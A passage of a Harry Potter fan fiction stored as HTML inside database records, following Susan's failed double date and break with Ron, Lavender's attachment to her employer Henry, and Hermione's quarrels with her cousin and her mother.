class="MsoNormal">&#8220;Hermione, I just don&#8217;t think I would be very fun for Harry&#8217;s friend.&#8221;\nSusan argued, but Hermione could tell she was weakening.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nonsense, you&#8217;ll be fine&#8230;.&#8221; Hermione retaliated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan sighed heavily. &#8220;Fine, on one condition, you tell Harry to tell\nhis friend that I&#8217;m definitely not interested in being&#8230;.romantically connected&#8230;this\nis a favour for YOU.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks Sue!!!!&#8221; Hermione practically shrieked, hugging her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan sighed again, wondering just what she&#8217;d gotten herself into.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So Dean, Harry told me you play for the Cannons.&#8221; Hermione settled back\ninto Harry&#8217;s arm and smiled at his friend. They were at a restaurant in London, waiting for\ntheir meal.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, I&#8217;m a Chaser.&#8221; Dean replied. Harry sniggered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This comes from a guy who swore that football was the best sport, even\nover Quidditch, and that he&#8217;d never play anything else!&#8221; he laughed. Dean\nsnorted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan smiled briefly as well, but it faded fast. She had never been a\nhuge fan of Quidditch, and this discussion was boring her. Dean seemed like an\nawfully nice guy as well, but her mind was solely trained on Ron. She wondered\nwhat he was doing that evening, probably somewhere with his younger sister\nGinny, or at home.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you like Quidditch, Susan?&#8221; Dean was asking her, and Susan mentally\nshook herself awake. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, kind of. I&#8217;m not really into sports.&#8221; Susan said. &#8220;I&#8217;m more of a\nspectator if I do watch it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Have you ever been to a game?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Back when we were at Hogwarts, we all went to the World Cup one year.&#8221;\nSusan answered. &#8220;I think that was the last game I went to, though.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A silence fell through the four of them. &#8220;So when is your next match?&#8221;\nHarry asked Dean.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;A week from tomorrow.&#8221; Dean replied. &#8220;Against Puddlemere.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;d better not tell me more.&#8221; Harry joked. &#8220;You&#8217;re forgetting Oliver\nWood&#8217;s my best friend.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled, she liked hearing about Quidditch, but she felt bad\nthat Susan was being left out of the conversation. At that moment, however,\ntheir food arrived and she was saved from attempting to draw her friend in\nfurther.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan made a mental note to kill Hermione when she got the chance. After\nleaving the restaurant in London, they&#8217;d decided\nto go to Imran&#8217;s for a drink, and one drink turned into two, and so on.\nHermione and Harry were now practically draped over the pool table in the corner,\nleaving her alone with Dean.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Susan, do you come here often?&#8221; Dean asked her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sometimes, with friends.&#8221; She answered\npolitely. She didn&#8217;t like being here actually, it reminded her of Ron.\nEverything reminded her of him these days. All of a sudden, Susan felt like if\nshe didn&#8217;t get out of there, she&#8217;d burst. &nbsp;&#8220;Excuse me; I think I need to&#8230;&#8221; Toppling her\nstool, she dashed for the door, knocking over the fat man Carl and some of his\nfriends.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dean looked over towards Harry and Hermione, who were still too\nengrossed in their game (which was now practically on top of the table) to\nnotice that Susan had just run from the bar. &#8220;Great.&#8221; He muttered, taking off\nafter her. He hardly knew this girl, yet he was going to comfort her while he\ndidn&#8217;t even know the reason she was upset.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan went around to the side of the pub and wrapped her arms around\nherself to keep the cold away. She sniffled and forced back the tears that came\nto her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Susan?&#8221; a low voice made her jump. Dean stood at the corner of the building\nlooking apologetic. He saw she was cold and pulled his cloak off his shoulders.\n&#8220;Here, you&#8217;re freezing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, I&#8217;m okay.&#8221; Susan denied. &#8220;Thanks.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nonsense.&#8221; Dean draped it over her\nshoulders. &#8220;Look, I&#8217;m sorry; did I say something wrong back there?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, no it&#8217;s not you&#8230;&#8221; Susan replied. &#8220;It&#8217;s me&#8230;I&#8217;ve just had a rough\ntime of things lately.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Need someone to talk to?&#8221; Dean offered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, I wouldn&#8217;t want to bore you.&#8221; Susan said, a bit shyly. &#8220;It&#8217;s a\nreally long story.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dean stood up and for a moment, Susan thought he was going to leave. But\nhe peered in the window and grinned. &#8220;Well, I think we&#8217;ve got lots of time, it\ndoesn&#8217;t look like those two will be leaving the pool table for awhile.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">In spite of herself, Susan smiled. &#8220;Okay&#8230;&#8221; Dean sat down next to her,\nand for the next half hour she found herself spilling the details of her entire\nrelationship with Ron.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I didn&#8217;t mean for you to think I had anything against you.&#8221; Susan\nfinished. &#8220;I just don&#8217;t feel like things are over between Ron and me, not yet&#8230;I\njust need to find a way to approach him about it. He&#8217;s stayed pretty adamant\nabout hiding from me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He must be mad, to let you go.&#8221; Dean said. &#8220;I won&#8217;t lie and say I don&#8217;t\nfind you attractive, and from what I&#8217;ve seen you are a really nice person.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221; Susan said. She was rather flattered at his compliments.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Perhaps we can be friends.&#8221; Dean was now saying. &#8220;I&#8217;d really like to\nowl you once in awhile.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; She was feeling better after talking about her troubles. &#8220;I&#8217;d\nreally like that too.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on, how about we go back inside now, maybe we can challenge Harry\nand Hermione to a game of pool?&#8221; He offered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221; Susan smiled and accepted\nhis hand to help her up. She tucked her arm in his and they went back to the\nfront of the building.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It didn&#8217;t take you long to find someone else!&#8221; Ron&#8217;s angry voice made\nSusan look up in shock. He was standing near the entrance to the pub with his\nfriend Neville. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron!&#8221; she paled. &#8220;This isn&#8217;t what it looks like!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure it&#8217;s not!&#8221; Ron glared at her and Susan removed her arm from\nDean&#8217;s. He shook his head in disgust as Dean&#8217;s cloak slid off her shoulders.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No don&#8217;t leave, please Ron!&#8221; She dashed forward and tried to grab hold\nof him, but he pulled away and leaped onto his broom. With one last glare,\naimed specifically at the flustered Dean, Ron took off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan sat down hard on the gravel and buried her face in her hands. The\nwhole situation had just gotten a million times worse in her mind, and she\ncouldn&#8217;t stop the tears from gushing over. Vaguely, she heard Dean rush into\nthe pub and come out moments later with Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Great Wizards Sue, what happened?&#8221; Hermione kneeled down next to her\nfriend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan tried to explain, but couldn&#8217;t through her tears. Hermione looked\nup at Harry and Dean.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think I need to get her home.&#8221; She said, and helped Susan get up.\nHarry brought his broom around, and the four of them got on. The only sound\nheard besides the wind while flying was Susan&#8217;s muffled sobs every now and\nagain.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shall I wait for you?&#8221; Harry asked Hermione, his green eyes dark with\nworry. &#8220;Will she be all right?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, go ahead, I&#8217;ll see you later.&#8221; Hermione patted his arm. &#8220;Bye Dean,\nit was nice meeting you.&#8221; She said as Susan hiccupped loudly and began walking\nherself towards her house. Hermione blew Harry a silent kiss as he flew away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You can go home, I&#8217;ll be fine.&#8221; Hermione was startled by Susan&#8217;s voice\ncutting through the darkness.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No way, not till I get you inside.&#8221; Hermione replied as they went into\nSusan&#8217;s house quietly. Sneaking upstairs, she saw Susan&#8217;s mother peeking out\nfrom behind their bedroom door, Hermione reasoned that it must be quite late.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really, I&#8217;m fine.&#8221; Susan said stuffily. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This is all my fault.&#8221; Hermione fretted,\nignoring what her friend said. &#8220;I made you go out tonight.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, it&#8217;s not your fault, I don&#8217;t blame you, okay?&#8221; Susan replied,\npeeling her cloak off and hanging it on her bedpost. Hermione bit her lip and\nwatched her carefully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you want me to go talk to Ron?&#8221; Hermione offered, only half serious.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Great Wizards, no.&#8221; Susan replied. &#8220;I just&#8230;need\nsome time to myself now.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione nodded. &#8220;As long as you&#8217;re sure.&#8221; She\nreplied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan smiled wearily. &#8220;Go find Harry, I feel bad I had to cut your time\ntogether short. I know you two weren&#8217;t ready for good night yet.&#8221; She attempted\na joke and Hermione grinned slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll talk to you tomorrow then, okay?&#8221; she came forward and gave Susan\na tight hug.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay&#8230;&#8221; Susan echoed as Hermione disappeared. She flopped back down on\nher bed and sighed heavily, but felt determined all of a sudden. She had to get\nRon back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Wow, determined! Susan, that can only be\ngood right? </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Anyways, please don&#8217;t forget to review! It&#8217;ll help get the next chapter\nout faster!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(88, 13, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 13</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender sighed as she read the last lines of her novel. She normally\ndidn&#8217;t read romances but Hermione had shoved this one in her hands a few days\nbefore and she&#8217;d found herself quite caught up in it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good book?&#8221; Henry was leaning over her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, very.&#8221; Lavender smiled, and she flushed lightly as she recalled\nhow she&#8217;d placed herself and Henry in the main character&#8217;s positions as she&#8217;d\nread. &#8220;You&#8217;re home early today.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah, well we managed to finish up sooner than expected.&#8221; Henry smiled.\n&#8220;Before I forget&#8230;&#8221; he dug into his pocket. &#8220;This should keep us up to date.&#8221; He\nhanded her a small pouch of coins, which Lavender accepted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221; She said, getting up and brushing herself off. They walked\ndown where Lori sat playing with some of her toys.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi baby!&#8221; Henry called to his daughter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Daddy!&#8221; she said back gaily. Henry smiled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She seems to be in a good mood today.&#8221; He said to Lavender.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, she&#8217;s excited that her mum will be coming home soon.&#8221; She replied,\nnot without a pang of jealousy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just a little longer.&#8221; Henry said, although to Lavender it didn&#8217;t seem\nlike he was quite enthusiastic.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s she like?&#8221; Lavender asked, unable to pique her curiosity on her\nown.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nicole?&#8221; Henry seemed surprised by her question. &#8220;She&#8217;s a great woman.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Where did you two meet?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;At University, our first year there.&#8221; Henry replied. &#8220;We had a Muggle\nStudies course together.&#8221; He grinned at her. &#8220;It&#8217;s strange to think you still\nhave all that ahead of you. You remind me a lot of myself when I first started\nout.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221; Lavender could hardly believe her ears. &#8220;Were you excited?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, and scared shitless.&#8221; Henry replied. They both chuckled. &#8220;But, at\nthe same time, I felt like I was really going to&#8230;.live.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And you did, didn&#8217;t you?&#8221; Lavender asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, here I am.&#8221; Henry spread his arms wide out. His eyes caught\nLavender&#8217;s and they held their stare for a few very long moments.\n&#8220;Lavender&#8230;stuff happens, you know?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender said nothing, just continued staring into his eyes, it was\nhaving quite a hypnotic effect on her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Aren&#8217;t they going to kill you at the pizza parlour?&#8221; Henry asked,\ninviting her to stay for the evening without saying a word.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, my cousin will cover for me tonight.&#8221; Lavender said. &#8220;I&#8217;ll send an\nowl over with the message.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Henry smiled, and Lori jumped up into her father&#8217;s arms. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fly me!&#8221; she giggled, and Henry swung her around in circles, while\nLavender sighed. This was her family, her family for tonight.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Where the bloody hell is Lavender, she was supposed to be here at half\npast?&#8221; Hermione yelled as she burst into the kitchen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She sent an owl, they needed her babysitting.&#8221; Leonora said as she spun\nsome crusts around in the air. &#8220;She said you would cover for her.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s jaw dropped. &#8220;I&#8217;m supposed to have dinner with Harry&#8217;s parents\ntonight! She knows that!&#8221; She stormed across the kitchen and grabbed a piece of\nparchment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sweetie, that won&#8217;t get to her in time.&#8221; Leonora said. &#8220;And I&#8217;m really\nsorry, but I need at least one of you here tonight.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;SHIT!&#8221; Hermione slapped her hand hard against the wall. She heard the\nclanging of the bells on the door and saw Harry coming up the stairs to pick\nher up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi, Hermione.&#8221; He grinned at her. She took him by the arm and pulled\nhim back down outside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;ve got a problem, my cousin never showed up for work tonight, I have\nno idea where Susan is, and it&#8217;s too busy for her to let me go.&#8221; Hermione said\nin a rush, she feared if she spoke any slower her words would be bogged down\nwith tears.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh no.&#8221; Harry looked terribly disappointed. &#8220;It&#8217;s okay.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, it&#8217;s not okay.&#8221; Hermione was fuming. &#8220;I&#8217;m going to kill her!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Look, Hermione, we&#8217;ll do it another time. My parents will understand.&#8221;\nHarry said, touching her cheek lightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Your mum&#8217;s going to think I blew her off though and your dad&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Listen, my Dad will probably respect you more for staying and working,\nthat&#8217;s how he is, and my mother, don&#8217;t worry about her, I&#8217;ll make sure she\nknows it&#8217;s not your fault. We&#8217;ll do it another time.&#8221; Harry repeated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you sure?&#8221; Hermione asked, her large brown eyes looking sorrowfully\nat him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s fine.&#8221; Harry repeated firmly, leaning in and kissing her gently.\n&#8220;I&#8217;ll owl you later, all right?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; Hermione said as he squeezed her hand and got on his broom. He\nblew her another kiss as he flew away. She stared after him for a few long\nmoments. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She was absolutely going to kill her cousin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender sighed with a bit of trepidation as she peeked in the windows\nof Hogsmeade Pizza. Leonora insisted the place be cleaned the Muggle way once a\nweek, and usually it only took a few hours but it was half past midnight and Hermione was still there. She owed her\ncousin an explanation, and with that in mind, she quietly opened the door and\nwent up the stairs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi, Hermione.&#8221; She said softly. Hermione turned around and glared icily\nat her, then wordlessly turned back to where she was mopping the floor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Look, I&#8217;m really sorry I didn&#8217;t show up tonight.&#8221; Lavender was stung by\nher cousin&#8217;s rebuff. Hermione still ignored her, and seemed to be concentrating\nextra hard on her mopping. &#8220;I said I was sorry.&#8221; She said, a little louder this\ntime. &#8220;Why are you being so bitchy about it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right, I&#8217;m bitchy, and you&#8217;re saintly, no matter what happens!&#8221;\nHermione loaded her words with sarcasm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s the big deal?&#8221; Lavender was annoyed. &#8220;You always dump your\nshifts on me when you have plans!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You KNEW I was supposed to have dinner with Harry and his parents\ntonight!&#8221; Hermione finally exploded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender felt like she&#8217;d been hit by a ton of bricks. She felt awful.\n&#8220;Oh, Hermione&#8230;I&#8217;m sorry&#8230;I forgot&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let me guess, Henry needed you, right?&#8221; Hermione asked. &#8220;Just what\nexactly do you two do together?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If I told you it wouldn&#8217;t sound any good.&#8221; Lavender replied hotly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re right, it would sound pathetic.&#8221; Hermione said dryly. &#8220;Daddy\nscrewing the babysitter is such an old story!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender glared at her. &#8220;We talk, we read poetry, he helps me with\nDivination charts, we listen to classical music&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If you REALLY think this 30 year old man is going to leave his family\nand live happily ever after with you, you&#8217;re living in a romance novel!&#8221;\nHermione sneered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, you&#8217;re one to talk about screwing!&#8221; Lavender screamed. &#8220;You&#8217;re\nnobody&#8217;s fool, are you Hermione? Just how much IS Harry paying you for sex; he\ncertainly doesn&#8217;t seem to mind taking you to exotic places. Is that how you&#8217;re\nrepaying him?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione streaked across the room and delivered a resounding SLAP to her\ncousin&#8217;s cheek. &#8220;Wipe your conscience.&#8221; She threw the mop at Lavender&#8217;s feet\nand stormed out of the restaurant.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(88, 14, '\n\n\n\n\n\n\n\n<p class="MsoNormal">A/N: Well here&#8217;s\nthe chapter that a lot of you have been looking forward to! Heehee you&#8217;ll\ndefinitely enjoy this one!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After you&#8217;re done\nreading and reviewing this, make sure you check out Ryoko&#8217;s and my co story,\nThe Art of Seduction. Our pen name is under my favourites list.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Thanks for all\nthe fantastic reviews on the last chapter!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">On with the\nstory!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey Mum?&#8221;\nHermione poked her head into the living room. &#8220;I just wanted to let you know\nthat I won&#8217;t be around this weekend.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh?&#8221; Jane looked\nup at her daughter. &#8220;Where are you going?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8217;s invited\nme to the Caribbean!&#8221; Hermione&#8217;s voice was filled with excitement. She stepped fully\ninto the room and grinned widely. &#8220;What do you think about that?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Jane looked back\ndown at the novel she was reading. &#8220;He&#8217;s not going to marry you&#8230;&#8221; she said\nmildly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione rolled\nher eyes. &#8220;I&#8217;m not talking about marriage at all; I&#8217;m just talking about a\nweekend away.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Jane set her\nnovel down and got up from the sofa. &#8220;Hermione&#8230;just be careful. I don&#8217;t want to\nsee you get hurt.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stepped\nback from her mother. &#8220;You can&#8217;t ever JUST be happy for me can you?&#8221; she shot\nout before she could stop herself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s not that\nI&#8217;m not happy for you, I&#8217;m just worried! You spend all your time with Harry and\nnone working towards any sort of career. Look at your cousin, look how hard she\nworks for herself!&#8221; Jane felt herself grow irritated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I am nothing\nlike Lavender, don&#8217;t you dare compare me to her!&#8221; Hermione snapped, her eyes\nblazing. &#8220;You&#8217;re always comparing the two of us, why can&#8217;t you accept how I am?\nI&#8217;m NOT going away to college, so you&#8217;ll just have to deal with that!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, I\ndon&#8217;t want you to feel like I&#8217;m comparing you to your cousin.&#8221; Jane&#8217;s voice\ngrew softer. &#8220;I know that you are your own person, but I just want you to make\nsomething of yourself. I get worried about you sometimes.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione bit her\nlower lip. &#8220;Look&#8230;I&#8217;m perfectly fine with myself. And 